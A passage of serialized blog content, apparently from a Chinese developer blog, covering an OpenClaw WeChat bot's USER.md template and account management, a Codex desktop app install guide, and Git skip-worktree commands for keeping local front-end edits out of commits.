",{"type":18,"tag":297,"props":4693,"children":4694},{"style":906},[4695],{"type":24,"value":4696},"`avatars\u002Fopenclaw.png`",{"type":18,"tag":297,"props":4698,"children":4699},{"style":327},[4700],{"type":24,"value":4678},{"type":18,"tag":297,"props":4702,"children":4704},{"class":299,"line":4703},24,[4705],{"type":18,"tag":297,"props":4706,"children":4707},{"emptyLinePlaceholder":793},[4708],{"type":24,"value":796},{"type":18,"tag":297,"props":4710,"children":4712},{"class":299,"line":4711},25,[4713],{"type":18,"tag":297,"props":4714,"children":4715},{"style":4460},[4716],{"type":24,"value":4717},"## Related\n",{"type":18,"tag":297,"props":4719,"children":4721},{"class":299,"line":4720},26,[4722],{"type":18,"tag":297,"props":4723,"children":4724},{"emptyLinePlaceholder":793},[4725],{"type":24,"value":796},{"type":18,"tag":297,"props":4727,"children":4729},{"class":299,"line":4728},27,[4730,4734,4739,4745,4750,4756],{"type":18,"tag":297,"props":4731,"children":4732},{"style":4492},[4733],{"type":24,"value":4495},{"type":18,"tag":297,"props":4735,"children":4736},{"style":327},[4737],{"type":24,"value":4738}," [",{"type":18,"tag":297,"props":4740,"children":4742},{"style":4741},"--shiki-default:#DBEDFF;--shiki-default-text-decoration:underline",[4743],{"type":24,"value":4744},"Agent workspace",{"type":18,"tag":297,"props":4746,"children":4747},{"style":327},[4748],{"type":24,"value":4749},"](",{"type":18,"tag":297,"props":4751,"children":4753},{"style":4752},"--shiki-default:#E1E4E8;--shiki-default-text-decoration:underline",[4754],{"type":24,"value":4755},"\u002Fconcepts\u002Fagent-workspace",{"type":18,"tag":297,"props":4757,"children":4758},{"style":327},[4759],{"type":24,"value":4760},")\n",{"type":18,"tag":337,"props":4762,"children":4764},{"id":4763},"usermd-用户信息记录",[4765],{"type":24,"value":4766},"USER.md - 用户信息记录",{"type":18,"tag":287,"props":4768,"children":4770},{"code":4769,"language":672,"meta":8,"className":4450,"style":8},"# USER.md - About Your Human\n\n_Learn about the person you're helping. Update this as you go._\n\n- **Name:**\n- **What to call them:**\n- **Pronouns:** _(optional)_\n- **Timezone:**\n- **Notes:**\n\n## Context\n\n_(What do they care about? What projects are they working on? What annoys them? What makes them laugh? Build this over time.)_\n\n---\n\nThe more you know, the better you can help. But remember — you're learning about a person, not building a dossier. Respect the difference.\n\n## Related\n\n- [Agent workspace](\u002Fconcepts\u002Fagent-workspace)\n",[4771],{"type":18,"tag":74,"props":4772,"children":4773},{"__ignoreMap":8},[4774,4782,4789,4797,4804,4815,4827,4844,4856,4868,4875,4883,4890,4898,4905,4912,4919,4927,4934,4941,4948],{"type":18,"tag":297,"props":4775,"children":4776},{"class":299,"line":300},[4777],{"type":18,"tag":297,"props":4778,"children":4779},{"style":4460},[4780],{"type":24,"value":4781},"# USER.md - About Your Human\n",{"type":18,"tag":297,"props":4783,"children":4784},{"class":299,"line":657},[4785],{"type":18,"tag":297,"props":4786,"children":4787},{"emptyLinePlaceholder":793},[4788],{"type":24,"value":796},{"type":18,"tag":297,"props":4790,"children":4791},{"class":299,"line":662},[4792],{"type":18,"tag":297,"props":4793,"children":4794},{"style":4476},[4795],{"type":24,"value":4796},"_Learn about the person you're helping. Update this as you go._\n",{"type":18,"tag":297,"props":4798,"children":4799},{"class":299,"line":799},[4800],{"type":18,"tag":297,"props":4801,"children":4802},{"emptyLinePlaceholder":793},[4803],{"type":24,"value":796},{"type":18,"tag":297,"props":4805,"children":4806},{"class":299,"line":808},[4807,4811],{"type":18,"tag":297,"props":4808,"children":4809},{"style":4492},[4810],{"type":24,"value":4495},{"type":18,"tag":297,"props":4812,"children":4813},{"style":4498},[4814],{"type":24,"value":4501},{"type":18,"tag":297,"props":4816,"children":4817},{"class":299,"line":817},[4818,4822],{"type":18,"tag":297,"props":4819,"children":4820},{"style":4492},[4821],{"type":24,"value":4495},{"type":18,"tag":297,"props":4823,"children":4824},{"style":4498},[4825],{"type":24,"value":4826}," **What to call them:**\n",{"type":18,"tag":297,"props":4828,"children":4829},{"class":299,"line":826},[4830,4834,4839],{"type":18,"tag":297,"props":4831,"children":4832},{"style":4492},[4833],{"type":24,"value":4495},{"type":18,"tag":297,"props":4835,"children":4836},{"style":4498},[4837],{"type":24,"value":4838}," **Pronouns:**",{"type":18,"tag":297,"props":4840,"children":4841},{"style":4476},[4842],{"type":24,"value":4843}," _(optional)_\n",{"type":18,"tag":297,"props":4845,"children":4846},{"class":299,"line":4524},[4847,4851],{"type":18,"tag":297,"props":4848,"children":4849},{"style":4492},[4850],{"type":24,"value":4495},{"type":18,"tag":297,"props":4852,"children":4853},{"style":4498},[4854],{"type":24,"value":4855}," **Timezone:**\n",{"type":18,"tag":297,"props":4857,"children":4858},{"class":299,"line":4533},[4859,4863],{"type":18,"tag":297,"props":4860,"children":4861},{"style":4492},[4862],{"type":24,"value":4495},{"type":18,"tag":297,"props":4864,"children":4865},{"style":4498},[4866],{"type":24,"value":4867}," **Notes:**\n",{"type":18,"tag":297,"props":4869,"children":4870},{"class":299,"line":4546},[4871],{"type":18,"tag":297,"props":4872,"children":4873},{"emptyLinePlaceholder":793},[4874],{"type":24,"value":796},{"type":18,"tag":297,"props":4876,"children":4877},{"class":299,"line":4555},[4878],{"type":18,"tag":297,"props":4879,"children":4880},{"style":4460},[4881],{"type":24,"value":4882},"## Context\n",{"type":18,"tag":297,"props":4884,"children":4885},{"class":299,"line":4568},[4886],{"type":18,"tag":297,"props":4887,"children":4888},{"emptyLinePlaceholder":793},[4889],{"type":24,"value":796},{"type":18,"tag":297,"props":4891,"children":4892},{"class":299,"line":4577},[4893],{"type":18,"tag":297,"props":4894,"children":4895},{"style":4476},[4896],{"type":24,"value":4897},"_(What do they care about? What projects are they working on? What annoys them? What makes them laugh? Build this over time.)_\n",{"type":18,"tag":297,"props":4899,"children":4900},{"class":299,"line":4590},[4901],{"type":18,"tag":297,"props":4902,"children":4903},{"emptyLinePlaceholder":793},[4904],{"type":24,"value":796},{"type":18,"tag":297,"props":4906,"children":4907},{"class":299,"line":4599},[4908],{"type":18,"tag":297,"props":4909,"children":4910},{"style":4460},[4911],{"type":24,"value":4613},{"type":18,"tag":297,"props":4913,"children":4914},{"class":299,"line":4607},[4915],{"type":18,"tag":297,"props":4916,"children":4917},{"emptyLinePlaceholder":793},[4918],{"type":24,"value":796},{"type":18,"tag":297,"props":4920,"children":4921},{"class":299,"line":4616},[4922],{"type":18,"tag":297,"props":4923,"children":4924},{"style":327},[4925],{"type":24,"value":4926},"The more you know, the better you can help. But remember — you're learning about a person, not building a dossier. Respect the difference.\n",{"type":18,"tag":297,"props":4928,"children":4929},{"class":299,"line":4624},[4930],{"type":18,"tag":297,"props":4931,"children":4932},{"emptyLinePlaceholder":793},[4933],{"type":24,"value":796},{"type":18,"tag":297,"props":4935,"children":4936},{"class":299,"line":4633},[4937],{"type":18,"tag":297,"props":4938,"children":4939},{"style":4460},[4940],{"type":24,"value":4717},{"type":18,"tag":297,"props":4942,"children":4943},{"class":299,"line":4641},[4944],{"type":18,"tag":297,"props":4945,"children":4946},{"emptyLinePlaceholder":793},[4947],{"type":24,"value":796},{"type":18,"tag":297,"props":4949,"children":4950},{"class":299,"line":4650},[4951,4955,4959,4963,4967,4971],{"type":18,"tag":297,"props":4952,"children":4953},{"style":4492},[4954],{"type":24,"value":4495},{"type":18,"tag":297,"props":4956,"children":4957},{"style":327},[4958],{"type":24,"value":4738},{"type":18,"tag":297,"props":4960,"children":4961},{"style":4741},[4962],{"type":24,"value":4744},{"type":18,"tag":297,"props":4964,"children":4965},{"style":327},[4966],{"type":24,"value":4749},{"type":18,"tag":297,"props":4968,"children":4969},{"style":4752},[4970],{"type":24,"value":4755},{"type":18,"tag":297,"props":4972,"children":4973},{"style":327},[4974],{"type":24,"value":4760},{"type":18,"tag":121,"props":4976,"children":4977},{},[],{"type":18,"tag":27,"props":4979,"children":4981},{"id":4980},"五bot-账户管理",[4982],{"type":24,"value":4983},"五、Bot 账户管理",{"type":18,"tag":337,"props":4985,"children":4987},{"id":4986},"创建新的-bot-账户",[4988],{"type":24,"value":4989},"创建新的 Bot 账户",{"type":18,"tag":287,"props":4991,"children":4993},{"code":4992,"language":2109,"meta":8,"className":2110,"style":8},"openclaw channels login --channel openclaw-weixin\n",[4994],{"type":18,"tag":74,"props":4995,"children":4996},{"__ignoreMap":8},[4997],{"type":18,"tag":297,"props":4998,"children":4999},{"class":299,"line":300},[5000],{"type":18,"tag":297,"props":5001,"children":5002},{},[5003],{"type":24,"value":4992},{"type":18,"tag":337,"props":5005,"children":5007},{"id":5006},"删除-bot-账户",[5008],{"type":24,"value":5009},"删除 Bot 账户",{"type":18,"tag":34,"props":5011,"children":5012},{},[5013,5015,5021],{"type":24,"value":5014},"假设不再需要 ",{"type":18,"tag":74,"props":5016,"children":5018},{"className":5017},[],[5019],{"type":24,"value":5020},"d384dca39b14-im-bot",{"type":24,"value":5022}," 这个账户，可以手动删除以下文件：",{"type":18,"tag":431,"props":5024,"children":5025},{},[5026,5041],{"type":18,"tag":435,"props":5027,"children":5028},{},[5029],{"type":18,"tag":439,"props":5030,"children":5031},{},[5032,5037],{"type":18,"tag":443,"props":5033,"children":5034},{},[5035],{"type":24,"value":5036},"文件",{"type":18,"tag":443,"props":5038,"children":5039},{},[5040],{"type":24,"value":843},{"type":18,"tag":459,"props":5042,"children":5043},{},[5044,5061,5078],{"type":18,"tag":439,"props":5045,"children":5046},{},[5047,5056],{"type":18,"tag":466,"props":5048,"children":5049},{},[5050],{"type":18,"tag":74,"props":5051,"children":5053},{"className":5052},[],[5054],{"type":24,"value":5055},"d384dca39b14-im-bot.json",{"type":18,"tag":466,"props":5057,"children":5058},{},[5059],{"type":24,"value":5060},"凭证",{"type":18,"tag":439,"props":5062,"children":5063},{},[5064,5073],{"type":18,"tag":466,"props":5065,"children":5066},{},[5067],{"type":18,"tag":74,"props":5068,"children":5070},{"className":5069},[],[5071],{"type":24,"value":5072},"d384dca39b14-im-bot.sync.json",{"type":18,"tag":466,"props":5074,"children":5075},{},[5076],{"type":24,"value":5077},"同步缓存",{"type":18,"tag":439,"props":5079,"children":5080},{},[5081,5090],{"type":18,"tag":466,"props":5082,"children":5083},{},[5084],{"type":18,"tag":74,"props":5085,"children":5087},{"className":5086},[],[5088],{"type":24,"value":5089},"d384dca39b14-im-bot.context-tokens.json",{"type":18,"tag":466,"props":5091,"children":5092},{},[5093],{"type":24,"value":5094},"上下文 token",{"type":18,"tag":34,"props":5096,"children":5097},{},[5098,5100],{"type":24,"value":5099},"文件位置：",{"type":18,"tag":74,"props":5101,"children":5103},{"className":5102},[],[5104],{"type":24,"value":5105},"C:\\Users\\用户名\\.openclaw\\openclaw-weixin\\accounts",{"type":18,"tag":34,"props":5107,"children":5108},{},[5109,5111,5117],{"type":24,"value":5110},"同时从 ",{"type":18,"tag":74,"props":5112,"children":5114},{"className":5113},[],[5115],{"type":24,"value":5116},"accounts.json",{"type":24,"value":5118}," 中移除该账户索引，然后重启 Gateway：",{"type":18,"tag":287,"props":5120,"children":5122},{"code":5121,"language":2109,"meta":8,"className":2110,"style":8},"openclaw gateway restart\n",[5123],{"type":18,"tag":74,"props":5124,"children":5125},{"__ignoreMap":8},[5126],{"type":18,"tag":297,"props":5127,"children":5128},{"class":299,"line":300},[5129],{"type":18,"tag":297,"props":5130,"children":5131},{},[5132],{"type":24,"value":5121},{"type":18,"tag":34,"props":5134,"children":5135},{},[5136,5141,5143],{"type":18,"tag":74,"props":5137,"children":5139},{"className":5138},[],[5140],{"type":24,"value":5116},{"type":24,"value":5142}," 位置：",{"type":18,"tag":74,"props":5144,"children":5146},{"className":5145},[],[5147],{"type":24,"value":5148},"C:\\Users\\31245\\.openclaw\\openclaw-weixin\\",{"type":18,"tag":651,"props":5150,"children":5151},{},[5152],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":5154},[5155,5156,5157,5158,5159],{"id":4170,"depth":662,"text":4173},{"id":4306,"depth":662,"text":4309},{"id":4328,"depth":662,"text":4331},{"id":4414,"depth":662,"text":4417},{"id":4980,"depth":662,"text":4983},"content:blog:2026-06-01-WechatClawbot.md","blog\u002F2026-06-01-WechatClawbot.md","blog\u002F2026-06-01-WechatClawbot",{"_path":5164,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":5165,"description":5166,"date":5167,"tags":5168,"body":5169,"_type":672,"_id":5275,"_source":674,"_file":5276,"_stem":5277,"_extension":677},"\u002Fblog\u002F2026-05-14-codexappinstall","Codex APP 安装教程","OpenAI Codex APP 桌面客户端安装指南，从下载到首次使用的完整流程。","2026-05-14",[2983,3383],{"type":15,"children":5170,"toc":5272},[5171,5185,5191,5196,5204,5217,5225,5238,5246,5251,5259,5264],{"type":18,"tag":34,"props":5172,"children":5173},{},[5174],{"type":18,"tag":105,"props":5175,"children":5176},{},[5177,5179],{"type":24,"value":5178},"Codex APP 下载官网地址：",{"type":18,"tag":43,"props":5180,"children":5183},{"href":5181,"rel":5182},"https:\u002F\u002Fchatgpt.com\u002Fzh-Hans-CN\u002Fcodex\u002Fget-started\u002F",[47],[5184],{"type":24,"value":5181},{"type":18,"tag":27,"props":5186,"children":5188},{"id":5187},"codex-安装",[5189],{"type":24,"value":5190},"Codex 安装",{"type":18,"tag":34,"props":5192,"children":5193},{},[5194],{"type":24,"value":5195},"1.访问官网，下载安装程序；",{"type":18,"tag":34,"props":5197,"children":5198},{},[5199],{"type":18,"tag":54,"props":5200,"children":5203},{"alt":5201,"src":5202},"1778683054501","\u002Fimages\u002Fblog\u002Fcodex-app\u002F1778683054501.png",[],{"type":18,"tag":34,"props":5205,"children":5206},{},[5207,5209,5215],{"type":24,"value":5208},"2.等待下载完后执行 ",{"type":18,"tag":74,"props":5210,"children":5212},{"className":5211},[],[5213],{"type":24,"value":5214},"Codex Installer.exe",{"type":24,"value":5216}," 安装程序，它将自动调用微软商店的Codex进行下载，等待下载完成；",{"type":18,"tag":34,"props":5218,"children":5219},{},[5220],{"type":18,"tag":54,"props":5221,"children":5224},{"alt":5222,"src":5223},"1778683177385","\u002Fimages\u002Fblog\u002Fcodex-app\u002F1778683177385.png",[],{"type":18,"tag":34,"props":5226,"children":5227},{},[5228,5230,5236],{"type":24,"value":5229},"3.一路点击 ",{"type":18,"tag":74,"props":5231,"children":5233},{"className":5232},[],[5234],{"type":24,"value":5235},"跳过",{"type":24,"value":5237}," 进入客户端主页（因为我登录了VScode端已登录OpenAI，所以它自动给我登录了），如下：",{"type":18,"tag":34,"props":5239,"children":5240},{},[5241],{"type":18,"tag":54,"props":5242,"children":5245},{"alt":5243,"src":5244},"1778683450507","\u002Fimages\u002Fblog\u002Fcodex-app\u002F1778683450507.png",[],{"type":18,"tag":34,"props":5247,"children":5248},{},[5249],{"type":24,"value":5250},"4.左侧有一系列工具，可自行使用了解，比如管理项目。",{"type":18,"tag":34,"props":5252,"children":5253},{},[5254],{"type":18,"tag":54,"props":5255,"children":5258},{"alt":5256,"src":5257},"1778683919126","\u002Fimages\u002Fblog\u002Fcodex-app\u002F1778683919126.png",[],{"type":18,"tag":34,"props":5260,"children":5261},{},[5262],{"type":24,"value":5263},"5.接着就可以开始使用了，如我让AI根据我的需求文档设计一份架构说明文档，如下图：",{"type":18,"tag":34,"props":5265,"children":5266},{},[5267],{"type":18,"tag":54,"props":5268,"children":5271},{"alt":5269,"src":5270},"1778684919147","\u002Fimages\u002Fblog\u002Fcodex-app\u002F1778684919147.png",[],{"title":8,"searchDepth":657,"depth":657,"links":5273},[5274],{"id":5187,"depth":662,"text":5190},"content:blog:2026-05-14-CodexAppInstall.md","blog\u002F2026-05-14-CodexAppInstall.md","blog\u002F2026-05-14-CodexAppInstall",{"_path":5279,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":5280,"description":5281,"date":5282,"tags":5283,"body":5285,"_type":672,"_id":6996,"_source":674,"_file":6997,"_stem":6998,"_extension":677},"\u002Fblog\u002F2026-05-09-gitcommands","Git 指令集","Git 实用指令集：本地文件永久忽略、团队远程推送流程、Connection was reset 问题排查与解决。","2026-05-09",[686,5284],"版本控制",{"type":15,"children":5286,"toc":6991},[5287,5293,5298,5303,5326,5334,5340,5368,5406,5418,5445,5451,5478,5526,5534,5552,5558,5567,5638,5650,5676,5682,5687,5756,5761,5855,5863,5903,5906,5912,5917,5938,6017,6022,6030,6054,6069,6091,6118,6145,6183,6196,6224,6233,6305,6313,6343,6346,6352,6357,6365,6371,6379,6392,6487,6495,6516,6524,6536,6608,6616,6672,6680,6734,6741,6746,6754,6760,6793,6806,6831,6842,6862,6873,6917,6949,6960,6987],{"type":18,"tag":27,"props":5288,"children":5290},{"id":5289},"指令1本地修改文件不提交到远程",[5291],{"type":24,"value":5292},"指令1：本地修改文件不提交到远程",{"type":18,"tag":337,"props":5294,"children":5296},{"id":5295},"场景说明",[5297],{"type":24,"value":5295},{"type":18,"tag":34,"props":5299,"children":5300},{},[5301],{"type":24,"value":5302},"作为后端开发人员，本地开发时会修改前端文件（如调试、适配），但不希望将这些本地修改提交到远程仓库，避免干扰前端同事的代码提交。",{"type":18,"tag":210,"props":5304,"children":5305},{},[5306,5316],{"type":18,"tag":158,"props":5307,"children":5308},{},[5309,5314],{"type":18,"tag":105,"props":5310,"children":5311},{},[5312],{"type":24,"value":5313},"核心方案",{"type":24,"value":5315},"：永久忽略本地前端文件（推荐）",{"type":18,"tag":158,"props":5317,"children":5318},{},[5319,5324],{"type":18,"tag":105,"props":5320,"children":5321},{},[5322],{"type":24,"value":5323},"适用场景",{"type":24,"value":5325},"：本地修改的前端文件无需同步到远程，且后续持续保持该规则。",{"type":18,"tag":96,"props":5327,"children":5328},{},[5329],{"type":18,"tag":34,"props":5330,"children":5331},{},[5332],{"type":24,"value":5333},"操作命令（在项目根目录终端执行）",{"type":18,"tag":337,"props":5335,"children":5337},{"id":5336},"场景-1忽略整个前端文件夹",[5338],{"type":24,"value":5339},"场景 1：忽略整个前端文件夹",{"type":18,"tag":34,"props":5341,"children":5342},{},[5343,5345,5351,5353,5359,5360,5366],{"type":24,"value":5344},"假设前端文件夹名为",{"type":18,"tag":74,"props":5346,"children":5348},{"className":5347},[],[5349],{"type":24,"value":5350},"frontend",{"type":24,"value":5352},"\u002F",{"type":18,"tag":74,"props":5354,"children":5356},{"className":5355},[],[5357],{"type":24,"value":5358},"web",{"type":24,"value":5352},{"type":18,"tag":74,"props":5361,"children":5363},{"className":5362},[],[5364],{"type":24,"value":5365},"client",{"type":24,"value":5367},"，执行：",{"type":18,"tag":287,"props":5369,"children":5371},{"className":289,"code":5370,"language":291,"meta":8,"style":8},"# 替换为实际前端文件夹名\ngit update-index --skip-worktree 前端文件夹名\u002F\n",[5372],{"type":18,"tag":74,"props":5373,"children":5374},{"__ignoreMap":8},[5375,5384],{"type":18,"tag":297,"props":5376,"children":5377},{"class":299,"line":300},[5378],{"type":18,"tag":297,"props":5379,"children":5381},{"style":5380},"--shiki-default:#6A737D",[5382],{"type":24,"value":5383},"# 替换为实际前端文件夹名\n",{"type":18,"tag":297,"props":5385,"children":5386},{"class":299,"line":657},[5387,5391,5396,5401],{"type":18,"tag":297,"props":5388,"children":5389},{"style":304},[5390],{"type":24,"value":881},{"type":18,"tag":297,"props":5392,"children":5393},{"style":310},[5394],{"type":24,"value":5395}," update-index",{"type":18,"tag":297,"props":5397,"children":5398},{"style":906},[5399],{"type":24,"value":5400}," --skip-worktree",{"type":18,"tag":297,"props":5402,"children":5403},{"style":310},[5404],{"type":24,"value":5405}," 前端文件夹名\u002F\n",{"type":18,"tag":34,"props":5407,"children":5408},{},[5409,5411,5416],{"type":24,"value":5410},"示例（前端文件夹为",{"type":18,"tag":74,"props":5412,"children":5414},{"className":5413},[],[5415],{"type":24,"value":5350},{"type":24,"value":5417},"）：",{"type":18,"tag":287,"props":5419,"children":5421},{"className":289,"code":5420,"language":291,"meta":8,"style":8},"git update-index --skip-worktree frontend\u002F\n",[5422],{"type":18,"tag":74,"props":5423,"children":5424},{"__ignoreMap":8},[5425],{"type":18,"tag":297,"props":5426,"children":5427},{"class":299,"line":300},[5428,5432,5436,5440],{"type":18,"tag":297,"props":5429,"children":5430},{"style":304},[5431],{"type":24,"value":881},{"type":18,"tag":297,"props":5433,"children":5434},{"style":310},[5435],{"type":24,"value":5395},{"type":18,"tag":297,"props":5437,"children":5438},{"style":906},[5439],{"type":24,"value":5400},{"type":18,"tag":297,"props":5441,"children":5442},{"style":310},[5443],{"type":24,"value":5444}," frontend\u002F\n",{"type":18,"tag":337,"props":5446,"children":5448},{"id":5447},"场景-2忽略特定类型前端文件",[5449],{"type":24,"value":5450},"场景 2：忽略特定类型前端文件",{"type":18,"tag":34,"props":5452,"children":5453},{},[5454,5456,5462,5463,5469,5470,5476],{"type":24,"value":5455},"若仅需忽略",{"type":18,"tag":74,"props":5457,"children":5459},{"className":5458},[],[5460],{"type":24,"value":5461},".html",{"type":24,"value":5352},{"type":18,"tag":74,"props":5464,"children":5466},{"className":5465},[],[5467],{"type":24,"value":5468},".js",{"type":24,"value":5352},{"type":18,"tag":74,"props":5471,"children":5473},{"className":5472},[],[5474],{"type":24,"value":5475},".css",{"type":24,"value":5477},"等文件，执行：",{"type":18,"tag":287,"props":5479,"children":5481},{"className":289,"code":5480,"language":291,"meta":8,"style":8},"git update-index --skip-worktree *.html *.js *.css\n",[5482],{"type":18,"tag":74,"props":5483,"children":5484},{"__ignoreMap":8},[5485],{"type":18,"tag":297,"props":5486,"children":5487},{"class":299,"line":300},[5488,5492,5496,5500,5505,5509,5513,5517,5521],{"type":18,"tag":297,"props":5489,"children":5490},{"style":304},[5491],{"type":24,"value":881},{"type":18,"tag":297,"props":5493,"children":5494},{"style":310},[5495],{"type":24,"value":5395},{"type":18,"tag":297,"props":5497,"children":5498},{"style":906},[5499],{"type":24,"value":5400},{"type":18,"tag":297,"props":5501,"children":5502},{"style":906},[5503],{"type":24,"value":5504}," *",{"type":18,"tag":297,"props":5506,"children":5507},{"style":310},[5508],{"type":24,"value":5461},{"type":18,"tag":297,"props":5510,"children":5511},{"style":906},[5512],{"type":24,"value":5504},{"type":18,"tag":297,"props":5514,"children":5515},{"style":310},[5516],{"type":24,"value":5468},{"type":18,"tag":297,"props":5518,"children":5519},{"style":906},[5520],{"type":24,"value":5504},{"type":18,"tag":297,"props":5522,"children":5523},{"style":310},[5524],{"type":24,"value":5525},".css\n",{"type":18,"tag":34,"props":5527,"children":5528},{},[5529],{"type":18,"tag":105,"props":5530,"children":5531},{},[5532],{"type":24,"value":5533},"核心作用",{"type":18,"tag":210,"props":5535,"children":5536},{},[5537,5542,5547],{"type":18,"tag":158,"props":5538,"children":5539},{},[5540],{"type":24,"value":5541},"本地可随意修改前端文件，Git 不会记录这些修改；",{"type":18,"tag":158,"props":5543,"children":5544},{},[5545],{"type":24,"value":5546},"不影响远程仓库的前端代码，同事提交不受干扰；",{"type":18,"tag":158,"props":5548,"children":5549},{},[5550],{"type":24,"value":5551},"永久生效，直到手动取消忽略规则。",{"type":18,"tag":337,"props":5553,"children":5555},{"id":5554},"场景-3临时撤销修改",[5556],{"type":24,"value":5557},"场景 3：临时撤销修改",{"type":18,"tag":34,"props":5559,"children":5560},{},[5561,5565],{"type":18,"tag":105,"props":5562,"children":5563},{},[5564],{"type":24,"value":5323},{"type":24,"value":5566},"：临时需要将本地前端文件恢复到远程版本（如提交前清理）。操作命令：",{"type":18,"tag":287,"props":5568,"children":5570},{"className":289,"code":5569,"language":291,"meta":8,"style":8},"# 撤销指定前端文件夹修改\ngit checkout -- 前端文件夹名\u002F\n\n# 撤销指定前端文件修改\ngit checkout -- 前端文件路径\n",[5571],{"type":18,"tag":74,"props":5572,"children":5573},{"__ignoreMap":8},[5574,5582,5603,5610,5618],{"type":18,"tag":297,"props":5575,"children":5576},{"class":299,"line":300},[5577],{"type":18,"tag":297,"props":5578,"children":5579},{"style":5380},[5580],{"type":24,"value":5581},"# 撤销指定前端文件夹修改\n",{"type":18,"tag":297,"props":5583,"children":5584},{"class":299,"line":657},[5585,5589,5594,5599],{"type":18,"tag":297,"props":5586,"children":5587},{"style":304},[5588],{"type":24,"value":881},{"type":18,"tag":297,"props":5590,"children":5591},{"style":310},[5592],{"type":24,"value":5593}," checkout",{"type":18,"tag":297,"props":5595,"children":5596},{"style":906},[5597],{"type":24,"value":5598}," --",{"type":18,"tag":297,"props":5600,"children":5601},{"style":310},[5602],{"type":24,"value":5405},{"type":18,"tag":297,"props":5604,"children":5605},{"class":299,"line":662},[5606],{"type":18,"tag":297,"props":5607,"children":5608},{"emptyLinePlaceholder":793},[5609],{"type":24,"value":796},{"type":18,"tag":297,"props":5611,"children":5612},{"class":299,"line":799},[5613],{"type":18,"tag":297,"props":5614,"children":5615},{"style":5380},[5616],{"type":24,"value":5617},"# 撤销指定前端文件修改\n",{"type":18,"tag":297,"props":5619,"children":5620},{"class":299,"line":808},[5621,5625,5629,5633],{"type":18,"tag":297,"props":5622,"children":5623},{"style":304},[5624],{"type":24,"value":881},{"type":18,"tag":297,"props":5626,"children":5627},{"style":310},[5628],{"type":24,"value":5593},{"type":18,"tag":297,"props":5630,"children":5631},{"style":906},[5632],{"type":24,"value":5598},{"type":18,"tag":297,"props":5634,"children":5635},{"style":310},[5636],{"type":24,"value":5637}," 前端文件路径\n",{"type":18,"tag":34,"props":5639,"children":5640},{},[5641,5643,5648],{"type":24,"value":5642},"示例（撤销",{"type":18,"tag":74,"props":5644,"children":5646},{"className":5645},[],[5647],{"type":24,"value":5350},{"type":24,"value":5649},"文件夹所有修改）：",{"type":18,"tag":287,"props":5651,"children":5653},{"className":289,"code":5652,"language":291,"meta":8,"style":8},"git checkout -- frontend\u002F\n",[5654],{"type":18,"tag":74,"props":5655,"children":5656},{"__ignoreMap":8},[5657],{"type":18,"tag":297,"props":5658,"children":5659},{"class":299,"line":300},[5660,5664,5668,5672],{"type":18,"tag":297,"props":5661,"children":5662},{"style":304},[5663],{"type":24,"value":881},{"type":18,"tag":297,"props":5665,"children":5666},{"style":310},[5667],{"type":24,"value":5593},{"type":18,"tag":297,"props":5669,"children":5670},{"style":906},[5671],{"type":24,"value":5598},{"type":18,"tag":297,"props":5673,"children":5674},{"style":310},[5675],{"type":24,"value":5444},{"type":18,"tag":337,"props":5677,"children":5679},{"id":5678},"场景-4恢复忽略规则",[5680],{"type":24,"value":5681},"场景 4：恢复忽略规则",{"type":18,"tag":34,"props":5683,"children":5684},{},[5685],{"type":24,"value":5686},"若后续需要提交本地前端修改，执行以下命令取消忽略：",{"type":18,"tag":287,"props":5688,"children":5690},{"className":289,"code":5689,"language":291,"meta":8,"style":8},"# 取消整个文件夹忽略\ngit update-index --no-skip-worktree 前端文件夹名\u002F\n\n# 取消单个文件忽略\ngit update-index --no-skip-worktree 前端文件路径\n",[5691],{"type":18,"tag":74,"props":5692,"children":5693},{"__ignoreMap":8},[5694,5702,5722,5729,5737],{"type":18,"tag":297,"props":5695,"children":5696},{"class":299,"line":300},[5697],{"type":18,"tag":297,"props":5698,"children":5699},{"style":5380},[5700],{"type":24,"value":5701},"# 取消整个文件夹忽略\n",{"type":18,"tag":297,"props":5703,"children":5704},{"class":299,"line":657},[5705,5709,5713,5718],{"type":18,"tag":297,"props":5706,"children":5707},{"style":304},[5708],{"type":24,"value":881},{"type":18,"tag":297,"props":5710,"children":5711},{"style":310},[5712],{"type":24,"value":5395},{"type":18,"tag":297,"props":5714,"children":5715},{"style":906},[5716],{"type":24,"value":5717}," --no-skip-worktree",{"type":18,"tag":297,"props":5719,"children":5720},{"style":310},[5721],{"type":24,"value":5405},{"type":18,"tag":297,"props":5723,"children":5724},{"class":299,"line":662},[5725],{"type":18,"tag":297,"props":5726,"children":5727},{"emptyLinePlaceholder":793},[5728],{"type":24,"value":796},{"type":18,"tag":297,"props":5730,"children":5731},{"class":299,"line":799},[5732],{"type":18,"tag":297,"props":5733,"children":5734},{"style":5380},[5735],{"type":24,"value":5736},"# 取消单个文件忽略\n",{"type":18,"tag":297,"props":5738,"children":5739},{"class":299,"line":808},[5740,5744,5748,5752],{"type":18,"tag":297,"props":5741,"children":5742},{"style":304},[5743],{"type":24,"value":881},{"type":18,"tag":297,"props":5745,"children":5746},{"style":310},[5747],{"type":24,"value":5395},{"type":18,"tag":297,"props":5749,"children":5750},{"style":906},[5751],{"type":24,"value":5717},{"type":18,"tag":297,"props":5753,"children":5754},{"style":310},[5755],{"type":24,"value":5637},{"type":18,"tag":337,"props":5757,"children":5759},{"id":5758},"核心规则总结",[5760],{"type":24,"value":5758},{"type":18,"tag":431,"props":5762,"children":5763},{},[5764,5786],{"type":18,"tag":435,"props":5765,"children":5766},{},[5767],{"type":18,"tag":439,"props":5768,"children":5769},{},[5770,5776,5781],{"type":18,"tag":443,"props":5771,"children":5773},{"align":5772},"left",[5774],{"type":24,"value":5775},"操作需求",{"type":18,"tag":443,"props":5777,"children":5778},{"align":5772},[5779],{"type":24,"value":5780},"命令",{"type":18,"tag":443,"props":5782,"children":5783},{"align":5772},[5784],{"type":24,"value":5785},"效果",{"type":18,"tag":459,"props":5787,"children":5788},{},[5789,5811,5833],{"type":18,"tag":439,"props":5790,"children":5791},{},[5792,5797,5806],{"type":18,"tag":466,"props":5793,"children":5794},{"align":5772},[5795],{"type":24,"value":5796},"永久忽略本地前端文件",{"type":18,"tag":466,"props":5798,"children":5799},{"align":5772},[5800],{"type":18,"tag":74,"props":5801,"children":5803},{"className":5802},[],[5804],{"type":24,"value":5805},"git update-index --skip-worktree 前端文件夹\u002F文件",{"type":18,"tag":466,"props":5807,"children":5808},{"align":5772},[5809],{"type":24,"value":5810},"Git 